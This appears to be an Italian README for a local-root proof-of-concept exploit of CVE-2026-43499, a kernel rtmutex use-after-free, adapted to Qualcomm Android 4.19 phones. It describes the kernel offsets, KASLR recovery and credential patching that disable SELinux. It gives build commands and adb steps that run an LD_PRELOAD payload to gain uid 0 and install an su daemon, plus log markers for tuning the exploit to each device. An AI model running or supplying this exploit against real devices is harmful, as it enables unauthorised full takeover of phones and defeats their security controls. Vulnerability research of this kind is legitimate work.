
CVE-2026-43499 (GhostLock) rtmutex remove_waiter() UAF local-root PoC adattato per i kernel Qualcomm Android 4.19 (Redmi K40 / classe Snapdragon 870), basato su LD_PRELOAD
Escalata locale di privilegi che sfrutta CVE-2026-43499 — un bug in rtmutex remove_waiter() che lascia un struct rt_mutex_waiter pendente sullo stack del kernel del waiter (kernel/locking/rtmutex.c, CWE-416 use-after-free). Adattato da NebuSec/CyberMeowfia (IonStack/CVE-2026-43499, Apache-2.0) per una famiglia di kernel vendor Qualcomm Android 4.19.x.
4.19.157-perf-g9607d8651312 (qcom, clang 10.0.7, SMP PREEMPT, aarch64)futex_requeue() chiama remove_waiter(), che opera su current invece che su waiter->task — dequeue dall'albero rb senza pi_lock, pi_blocked_on pendente, che porta a un UAF nello stack del kernel. Il problema è presente fino alle versioni corrette 5.10/5.15/6.1/6.6/6.12/6.18/7.0; 4.19 non ha backport (EOL), quindi 4.19.157-perf è vulnerabile.src/ adapted exploit sources (preload.so)
src/targets/oplus-4.19.157-perf/target.h per-device offset table (kallsyms-derived)
prebuilt/ compiled artifacts (aarch64)
adaptation-4.19.patch full diff vs. the upstream Pixel (6.x) code
Makefile, build.sh build entry points
configfs_read_file / configfs_write_bin_file sono inseriti negli slot fops .read/.write (firme 4.19), e la primitiva di lettura usa il layout semplificato del fake-buffer count/page/ppos=0/dev/ashmem) è assente su questo kernel — lunghezza prefisso 0selinux_blob_sizes non esiste su 4.19 → accesso diretto a cred->security (SELINUX_CRED_BLOB_OFF=0); struct seccomp non ha filter_countASHMEM_MISC_FOPS = slot miscdevice.fops (ashmem_misc + 0x10)Linux / WSL con Android NDK:
export NDK_ROOT=/path/to/android-ndk-r27c
./build.sh # or: make PROJECT=oplus-4.19.157-perf
Output: prebuilt/preload.so (payload LD_PRELOAD) e un PIE su_daemon incorporato.
Richiede una shell ADB (una normale adb shell senza privilegi è sufficiente — l'exploit viene eseguito interamente senza privilegi e si eleva da solo).
# 1. push the payload
adb push prebuilt/preload.so /data/local/tmp/
# 2. run the exploit against any command (here: id) via LD_PRELOAD
adb shell LD_PRELOAD=/data/local/tmp/preload.so id
# expected on success: uid=0(root) gid=0(root) groups=...
# on failure the process exits 1 and the log below tells you where it stopped.
Varianti opzionali in una riga:
# capture the exit status too
adb shell "LD_PRELOAD=/data/local/tmp/preload.so id; echo rc=\$?"
# interactive root shell (the exploit also installs an su daemon)
adb shell "LD_PRELOAD=/data/local/tmp/preload.so /system/bin/sh -c 'su -c id'"
Ogni riga pr_* viene rispecchiata su disco con una write()+fsync() immediata, così la traccia sopravvive a un panic/riavvio del kernel:
/sdcard/Download/log_<timestamp>.txt
Percorsi alternativi se /sdcard non è disponibile: /sdcard/Downloads, /data/local/tmp/log_<timestamp>.txt.
# after the run (even after a reboot):
adb shell "ls -t /sdcard/Download/log_*.txt | head -1"
adb shell "cat $(adb shell 'ls -t /sdcard/Download/log_*.txt | head -1' | tr -d '\r')"
Marcatori chiave del log:
preload starting pid=... log=/sdcard/Download/log_<ts>.txt — payload caricatoslide-kaslr-ok ... base=... — base KASLR recuperatapipe-physrw-summary ... root=1 ... — phys RW installatouid_before=... uid_after=0 ... selinux=1->0 — credenziali patchateUNVERIFIED prima del suo primo tentativo — questa è la fase da calibrare per dispositivo usando questo log.target.h e registrati come UNVERIFIED a runtime. Iterare sul dispositivo usando il log con fsync.CONFIG_STATIC_USERMODEHELPER=y su questa build disabilita i trucchi con il percorso modprobe; il percorso principale è la patch diretta di cred./proc/kallsyms) e /proc/slabinfo prima del deployment.Apache-2.0 (upstream: NebuSec/CyberMeowfia). Solo per ricerca sulla sicurezza e rooting autorizzato di dispositivi. Usare solo su hardware di propria proprietà.